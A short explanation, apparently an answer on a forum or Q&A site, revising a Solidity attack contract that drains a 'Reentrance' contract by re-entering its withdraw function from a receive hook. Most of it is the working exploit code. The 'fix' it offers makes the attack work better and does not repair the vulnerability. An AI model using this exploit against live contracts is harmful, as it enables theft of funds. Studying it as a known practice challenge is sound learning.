The attack function calls the withdraw function of the Reentrance contract with the value of msg.value, which is the amount of Ether sent with the transaction. However, the receive function calls the withdraw function with a fixed value of 100000000000000, which is not related to the amount of Ether sent with the transaction.
To fix the re-entrancy issue, you need to call the withdraw function with the correct amount of Ether. You can do this by using the msg.value variable, which contains the amount of Ether sent with the transaction.
The fix:
pragma solidity ^0.6.0;
import "./Target.sol";
contract Attack {
Reentrance public target;
constructor(address payable _target) public {
target = Reentrance(_target);
}
function attack() public payable {
target.donate{value: msg.value}(address(this));
target.withdraw(msg.value);
}
receive() external payable {
target.withdraw(msg.value);
}
}